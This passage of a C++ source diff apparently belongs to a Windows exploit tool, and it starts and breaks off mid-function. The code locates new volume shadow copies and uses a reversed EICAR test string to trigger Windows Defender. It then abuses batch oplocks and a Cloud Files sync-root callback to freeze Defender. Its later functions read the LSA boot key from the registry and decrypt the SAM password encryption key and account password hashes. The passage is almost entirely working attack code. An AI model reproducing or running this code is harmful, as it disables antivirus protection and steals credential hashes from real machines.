ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + } + else + { + LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSSfirst) + { + printf("Failed to allocate memory.\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSSfirst; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + + } + + } + } + } + + + + + } + free(objdirinfo); + return LLVSSfirst; +} + +DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath) +{ + + wchar_t devicepath[] = L"\\Device"; + UNICODE_STRING udevpath = { 0 }; + RtlInitUnicodeString(&udevpath, devicepath); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + NTSTATUS stat = STATUS_SUCCESS; + HANDLE hobjdir = NULL; + DWORD retval = ERROR_SUCCESS; + wchar_t newvsspath[MAX_PATH] = { 0 }; + wcscpy(newvsspath, L"\\Device\\"); + bool criterr = false; + int vscnum = 0; + bool restartscan = false; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL; + bool srchfound = false; + wchar_t vsswinpath[MAX_PATH] = { 0 }; + UNICODE_STRING _vsswinpath = { 0 }; + + OBJECT_ATTRIBUTES objattr2 = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hlk = NULL; + LLShadowVolumeNames* vsinitial = NULL; + + stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr); + if (stat) + { + printf("Failed to open object manager directory, error : 0x%0.8X", stat); + retval = RtlNtStatusToDosError(stat); + return retval; + } + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + if (!emptybuff) + { + printf("Failed to allocate memory !!!"); + retval = ERROR_NOT_ENOUGH_MEMORY; + goto cleanup; + } + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + + + vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval); + + if (criterr) + { + printf("Unexpected error while listing current volume shadow copy volumes\n"); + goto cleanup; + } + if (!vsinitial) + { + printf("No volume shadow copies were found.\n"); + } + else + { + printf("Found %d volume shadow copies\n", vscnum); + } + + + + stat = STATUS_SUCCESS; + +scanagain: + do + { + if (objdirinfo) + free(objdirinfo); + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + retval = ERROR_NOT_ENOUGH_MEMORY; + goto cleanup; + } + ZeroMemory(objdirinfo, reqsz); + + scanctx = 0; + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + retval = RtlNtStatusToDosError(stat); + goto cleanup; + } + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + } while (1); + + + + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + // check against the list if there this is a unique VS Copy + LLShadowVolumeNames* current = vsinitial; + bool found = false; + while (current) + { + if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0) + { + found = true; + break; + } + current = current->next; + } + if (found) + continue; + else + { + srchfound = true; + wcscat(newvsspath, objdirinfo[i].Name.Buffer); + break; + } + } + } + } + } + + if (!srchfound) { + restartscan = true; + goto scanagain; + } + if (objdirinfo) { + free(objdirinfo); + objdirinfo = NULL; + } + NtClose(hobjdir); + hobjdir = NULL; + + + + printf("New volume shadow copy detected : %ws\n", newvsspath); + + + wcscpy(vsswinpath, newvsspath); + wcscat(vsswinpath, L"\\Windows"); + RtlInitUnicodeString(&_vsswinpath, vsswinpath); + InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + +retry: + stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL); + if (stat == STATUS_NO_SUCH_DEVICE) + goto retry; + if (stat) + { + printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat); + retval = RtlNtStatusToDosError(stat); + goto cleanup; + + + } + printf("Successfully accessed volume shadow copy.\n"); + CloseHandle(hlk); + if (fullvsspath) + wcscpy((wchar_t*)fullvsspath, newvsspath); + + +cleanup: + if (hobjdir) + NtClose(hobjdir); + if (emptybuff) + free(emptybuff); + if (vsinitial) + DestroyVSSNamesList(vsinitial); + + return retval; +} + +DWORD GetWDPID() +{ + static DWORD retval = 0; + if (retval) + return retval; + + SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + if (!scmgr) + return 0; + SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS); + CloseServiceHandle(scmgr); + if (!hsvc) + return 0; + + + SERVICE_STATUS_PROCESS ssp = { 0 }; + DWORD reqsz = sizeof(ssp); + bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz); + CloseServiceHandle(hsvc); + if (!res) + return 0; + retval = ssp.dwProcessId; + return retval; + +} + +void CfCallbackFetchPlaceHolders( + _In_ CONST CF_CALLBACK_INFO* CallbackInfo, + _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters +) { + + printf("CfCallbackFetchPlaceHolders triggered !\n"); + + CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo; + wchar_t* procname = PathFindFileName(cpi->ImagePath); + printf("Directory query from %ws\n", procname); + if (GetWDPID() == cpi->ProcessId) + { + cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext; + SetEvent(ctx->hnotifywdaccess);; + + printf("Defender flagged.\n"); + CF_OPERATION_INFO cfopinfo = { 0 }; + cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); + cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; + cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; + cfopinfo.TransferKey = CallbackInfo->TransferKey; + cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; + cfopinfo.RequestKey = CallbackInfo->RequestKey; + //STATUS_CLOUD_FILE_REQUEST_TIMEOUT + SYSTEMTIME systime = { 0 }; + FILETIME filetime = { 0 }; + GetSystemTime(&systime); + SystemTimeToFileTime(&systime, &filetime); + + FILE_BASIC_INFO filebasicinfo = { 0 }; + filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; + CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} }; + CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + placeholder[0].RelativeFileName = ctx->filename; + + placeholder[0].FsMetadata = fsmetadata; + + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + placeholder[0].FileIdentity = wuid2; + placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t); + placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE; + + + CF_OPERATION_PARAMETERS cfopparams = { 0 }; + cfopparams.ParamSize = sizeof(cfopparams); + cfopparams.TransferPlaceholders.PlaceholderCount = 1; + cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1; + cfopparams.TransferPlaceholders.EntriesProcessed = 0; + cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; + cfopparams.TransferPlaceholders.PlaceholderArray = placeholder; + + WaitForSingleObject(ctx->hnotifylockcreated, INFINITE); + HRESULT hs = CfExecute(&cfopinfo, &cfopparams); + printf("CfExecute returned : 0x%0.8X\n", hs); + return; + } + CF_OPERATION_INFO cfopinfo = { 0 }; + cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); + cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; + cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; + cfopinfo.TransferKey = CallbackInfo->TransferKey; + cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; + cfopinfo.RequestKey = CallbackInfo->RequestKey; + CF_OPERATION_PARAMETERS cfopparams = { 0 }; + cfopparams.ParamSize = sizeof(cfopparams); + cfopparams.TransferPlaceholders.PlaceholderCount = 0; + cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0; + cfopparams.TransferPlaceholders.EntriesProcessed = 0; + cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; + cfopparams.TransferPlaceholders.PlaceholderArray = { 0 }; + HRESULT hs = CfExecute(&cfopinfo, &cfopparams); + printf("CfExecute : 0x%0.8X\n", hs); + + return; + + +} + +DWORD WINAPI FreezeVSS(void* arg) +{ + cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg; + if (!args) + return ERROR_BAD_ARGUMENTS; + + HANDLE hlock = NULL; + HRESULT hs; + CF_SYNC_REGISTRATION cfreg = { 0 }; + cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION); + cfreg.ProviderName = L"IHATEMICROSOFT"; + cfreg.ProviderVersion = L"1.0"; + CF_SYNC_POLICIES syncpolicy = { 0 }; + syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES); + syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED; + syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; + syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED; + syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT; + syncpolicy.InSync = CF_INSYNC_POLICY_NONE; + CF_CALLBACK_REGISTRATION callbackreg[2]; + callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders }; + callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL }; + CF_CONNECTION_KEY cfkey = { 0 }; + OVERLAPPED ovd = { 0 }; + DWORD nwf = 0; + //wchar_t syncroot[] = L"C:\\temp"; + wchar_t syncroot[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH); + *(PathFindFileName(syncroot) - 1) = L'\0'; + DWORD retval = STATUS_SUCCESS; + wchar_t lockfile[MAX_PATH]; + wcscpy(lockfile, syncroot); + wcscat(lockfile, L"\\"); + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + wcscat(lockfile, wuid2); + wcscat(lockfile, L".lock"); + cldcallbackctx callbackctx = { 0 }; + bool syncrootregistered = false; + callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL); + callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess) + { + printf("Failed to create event, error : %d", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + wcscpy(callbackctx.filename, wuid2); + wcscat(callbackctx.filename, L".lock"); + hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (!hlock || hlock == INVALID_HANDLE_VALUE) + { + printf("Failed to create lock file %ws error : %d", lockfile, GetLastError()); + retval = GetLastError(); + goto cleanup; + } + + + //CreateDirectory(syncroot, NULL); + hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE); + if (hs) + { + printf("Failed to register syncroot, hr = 0x%0.8X\n", hs); + retval = ERROR_UNIDENTIFIED_ERROR; + goto cleanup; + } + syncrootregistered = true; + hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); + if (hs) + { + printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs); + retval = ERROR_UNIDENTIFIED_ERROR; + goto cleanup; + } + if (args->hlock) { + CloseHandle(args->hlock); + args->hlock = NULL; + } + + printf("Waiting for callback...\n"); + + WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE); + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!ovd.hEvent) + { + printf("Failed to create event, error : %d\n", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + SetEvent(callbackctx.hnotifylockcreated); + + printf("Waiting for oplock to trigger...\n"); + + GetOverlappedResult(hlock, &ovd, &nwf, TRUE); + + printf("WD is frozen and the new VSS can be used.\n"); + + SetEvent(args->hvssready); + + WaitForSingleObject(args->hcleanupevent, INFINITE); + + + +cleanup: + + if (hlock) + CloseHandle(hlock); + if (callbackctx.hnotifylockcreated) + CloseHandle(callbackctx.hnotifylockcreated); + if (callbackctx.hnotifywdaccess) + CloseHandle(callbackctx.hnotifywdaccess); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + + if (syncrootregistered) + { + CfDisconnectSyncRoot(cfkey); + CfUnregisterSyncRoot(syncroot); + } + + + return retval; + +} + + +bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath) +{ + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + + wchar_t workdir[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH); + wcscat(workdir, wuid2); + wchar_t eicarfilepath[MAX_PATH] = { 0 }; + wcscpy(eicarfilepath,workdir); + wcscat(eicarfilepath,L"\\foo.exe"); + + HANDLE hlock = NULL; + wchar_t rstmgr[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH); + OVERLAPPED ovd = { 0 }; + char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X"; + rev(eicar); + DWORD nwf = 0; + cloudworkerthreadargs cldthreadargs = { 0 }; + DWORD tid = 0; + HANDLE hthread = NULL; + bool dircreated = false; + bool retval = true; + HANDLE hfile = NULL; + HANDLE trigger = NULL; + HANDLE hthread2 = NULL; + HANDLE hobj[2] = { 0 }; + DWORD exitcode = STATUS_SUCCESS; + DWORD waitres = 0; + hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid); + if (!hthread) + { + printf("Failed to create worker thread, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + dircreated = CreateDirectory(workdir, NULL); + if (!dircreated) + { + printf("Failed to create working directory, error : %d\n",GetLastError()); + retval = false; + goto cleanup; + } + + hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (!hfile || hfile == INVALID_HANDLE_VALUE) + { + printf("Failed to create eicar test file, error : %d\n", GetLastError()); + retval = false; + goto cleanup; + } + + + + if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL)) + { + printf("Failed to write eicar test file, error : %d\n", GetLastError()); + retval = false; + goto cleanup; + } + + + hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); + if (!hlock || hlock == INVALID_HANDLE_VALUE) + { + printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError()); + retval = false; + goto cleanup; + } + + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!ovd.hEvent) + { + printf("Failed to create event object with error : %d !!!!\n", GetLastError()); + retval = false; + goto cleanup; + } + + SetLastError(ERROR_SUCCESS); + DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + // trigger wd for action + trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (trigger && trigger != INVALID_HANDLE_VALUE) + CloseHandle(trigger); + + printf("Waiting for oplock to trigger...\n"); + GetOverlappedResult(hlock, &ovd, &nwf, TRUE); + printf("Oplock triggered.\n"); + + if (!GetExitCodeThread(hthread, &exitcode)) + { + printf("Unexpected error while getting worker thread exit code"); + retval = false; + goto cleanup; + } + if (exitcode) + { + printf("Failed to get new volume shadow copy path"); + retval = false; + goto cleanup; + + } + + + cldthreadargs.hcleanupevent = hreleaseevent; + cldthreadargs.hlock = hlock; + cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL); + + hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid); + if (!hthread2) { + printf("Unable to create worker thread, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + + + hobj[0] = hthread2; + hobj[1] = cldthreadargs.hvssready; + waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE); + + if (waitres - WAIT_OBJECT_0 == 0) + { + printf("Unable to freeze WD, thread exited prematurely.\n"); + retval = false; + } + +cleanup: + + + if (hthread) + CloseHandle(hthread); + if(hthread2) + CloseHandle(hthread2); + if(cldthreadargs.hvssready) + CloseHandle(cldthreadargs.hvssready); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + if (hfile) + CloseHandle(hfile); + if (dircreated) + RemoveDirectory(workdir); + + return retval; + + + +} +////////////////////////////////////////////////////////////////////// +// Volume shadow copy functions end +///////////////////////////////////////////////////////////////////// + + + +void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) { + size_t len = strlen(hex_string); + if (len % 2 != 0) { + fprintf(stderr, "Error: Hex string length must be even.\n"); + return; + } + + size_t byte_len = len / 2; + if (byte_len > max_len) { + fprintf(stderr, "Error: Output buffer too small.\n"); + return; + } + + for (size_t i = 0; i < byte_len; i++) { + // Read two hex characters and convert them to an unsigned int + unsigned int byte_val; + if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) { + fprintf(stderr, "Error: Invalid hex character in string.\n"); + return; + } + byte_array[i] = (unsigned char)byte_val; + } +} + +bool GetLSASecretKey(unsigned char bootkeybytes[16]) +{ + + const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} }; + int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 }; + + + //ORHKEY hlsa = NULL; + HKEY hlsa = NULL; + DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa); + char data[0x1000] = { 0 }; + DWORD index = 0; + for (const wchar_t* keyname : keynames) + { + DWORD retsz = sizeof(data) / sizeof(char); + HKEY hbootkey = NULL; + err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey); + + err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + index += retsz; + RegCloseKey(hbootkey); + } + //printf("%s\n", data); + RegCloseKey(hlsa); + + if (strlen(data) < 16) + { + printf("Boot key mismatch."); + return 1; + } + + // convert hex string to binary + unsigned char keybytes[16] = { 0 }; + hex_string_to_bytes(data, keybytes, 16); + + + + for (int i = 0; i < sizeof(keybytes); i++) + { + + bootkeybytes[i] = keybytes[indices[i]]; + } + return true; + +} + +void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen) +{ + + char* decrypted = (char*)malloc(enclen); + memmove(decrypted, hashdata, enclen); + HCRYPTPROV hprov = NULL; + + CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT); + + struct aes128keyBlob + { + BLOBHEADER hdr; + DWORD keySize; + BYTE bytes[16]; + } blob; + + blob.hdr.bType = PLAINTEXTKEYBLOB; + blob.hdr.bVersion = CUR_BLOB_VERSION; + blob.hdr.reserved = 0; + blob.hdr.aiKeyAlg = CALG_AES_128; + blob.keySize = 16; + memmove(blob.bytes, lsaKey, 16); + HCRYPTKEY hcryptkey = NULL; + CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey); + + DWORD mode = CRYPT_MODE_CBC; + CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL); + + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + + DWORD retsz = enclen; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); + + + /* + EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); + + int fulllen = 0; + int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv); + if (!retval) + return NULL; + + //int decryptedsz = enclen; + retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen); + if (!retval) + return NULL; + retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen); + EVP_CIPHER_CTX_free(en); + if (!retval) + return NULL; + */ + if (decryptedlen) + *decryptedlen = retsz; + + return decrypted; + +} + +#ifndef SHA256_DIGEST_LENGTH +#define SHA256_DIGEST_LENGTH 32 +#endif + +bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH]) +{ + + + char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH); + ZeroMemory(data2, SHA256_DIGEST_LENGTH); + HCRYPTPROV hprov = NULL; + CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); + HCRYPTHASH Hhash = NULL; + CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash); + CryptHashData(Hhash, (const BYTE*)data, size, NULL); + DWORD md_len = 0; + DWORD inputsz = sizeof(md_len); + CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); + //inputsz = size; + CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL); + + CryptDestroyHash(Hhash); + CryptReleaseContext(hprov, NULL); + /* + EVP_MD_CTX* en = EVP_MD_CTX_new(); + + bool retval = EVP_DigestInit(en, EVP_sha256()); + if (!retval) + return retval; + retval = EVP_DigestUpdate(en, data, size); + if (!retval) + return retval; + EVP_DigestFinal(en, (unsigned char*)hashout, NULL); + */ + //return retval; + return true; + + + +} + +void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz) +{ + + int hashlen = data[0]; + int enclen = data[4]; + + char iv[16] = { 0 }; + memmove(iv, &data[8], sizeof(iv)); + + char* cyphertext = (char*)malloc(enclen); + memmove(cyphertext, &data[0x18], enclen); + + // first arg, lsaKey | second arg, iv | thid arg, ciphertext + int outsz = 0; + int pekoutsz = 0; + char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz); + + char* hashdata = (char*)malloc(hashlen); + memmove(hashdata, &data[0x18 + enclen], hashlen); + + char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz); + + + char hash256[SHA256_DIGEST_LENGTH]; + + if (!ComputeSHA256(pek, pekoutsz, hash256)) + { + return NULL; + } + + if (memcmp(hash256, hash, sizeof(hash256)) != 0) + { + printf("Invalid AES password key.\n"); + return NULL; + } + if (keysz) + *keysz = sizeof(hash256); + + + return pek; + +} + +void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz) +{ + + int enctype = samKey[0x68]; + if (enctype == 2) { + int endofs = samKey[0x6c] + 0x68; + int len = endofs - 0x70; + + char* data = (char*)malloc(len); + memmove(data, &samKey[0x70], len); + void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz); + + return retval; + } + __debugbreak(); + return NULL; + +} + +void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz) +{ + int length = data[4]; + if (!length) + return NULL; + char iv[16] = { 0 }; + memmove(iv, &data[8], sizeof(iv)); + + int ciphertextsz = datasz - 24; + char* ciphertext = (char*)malloc(ciphertextsz); + memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz); + return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz); +} + +void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz) +{ + int enctype = data[2]; + + switch (enctype) + { + case 2: + + return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz); + + break; + default: + __debugbreak(); + break; + } + + return NULL; + + +} + +void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz) +{ + + char* ciphertext2 = (char*)malloc(ciphertextsz); + memmove(ciphertext2, ciphertext, ciphertextsz); + HCRYPTPROV hprov = NULL; + CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); + + struct deskeyBlob + { + BLOBHEADER hdr; + DWORD keySize; + BYTE bytes[8]; + }blob; + //deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz); + blob.hdr.bType = PLAINTEXTKEYBLOB; + blob.hdr.bVersion = CUR_BLOB_VERSION; + blob.hdr.reserved = 0; + blob.hdr.aiKeyAlg = CALG_DES; + blob.keySize = 8; + memmove(blob.bytes, key, 8); + HCRYPTKEY hcryptkey = NULL; + CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey); + + DWORD mode = CRYPT_MODE_ECB; + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + + DWORD retsz = ciphertextsz; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz); + + if (outsz) + *outsz = 8; + + //printf("GetLastError : %x\n", GetLastError()); + CryptReleaseContext(hprov, NULL); + return ciphertext2; + + /* + DWORD mode = CRYPT_MODE_ECB; + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + printf("GetLastError : %x\n", GetLastError()); + + DWORD retsz = enclen; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); + printf("GetLastError : %x\n", GetLastError()); + */ + /* + OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy"); + if (legacy == NULL) + { + printf("Failed to load Legacy provider\n"); + } + + EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); + + int fulllen = 0; + int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL); + + char* plaintext = (char*)malloc(ciphertextsz); + int _outsz = 0; + retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz); + int _outlen = 0; + retval = 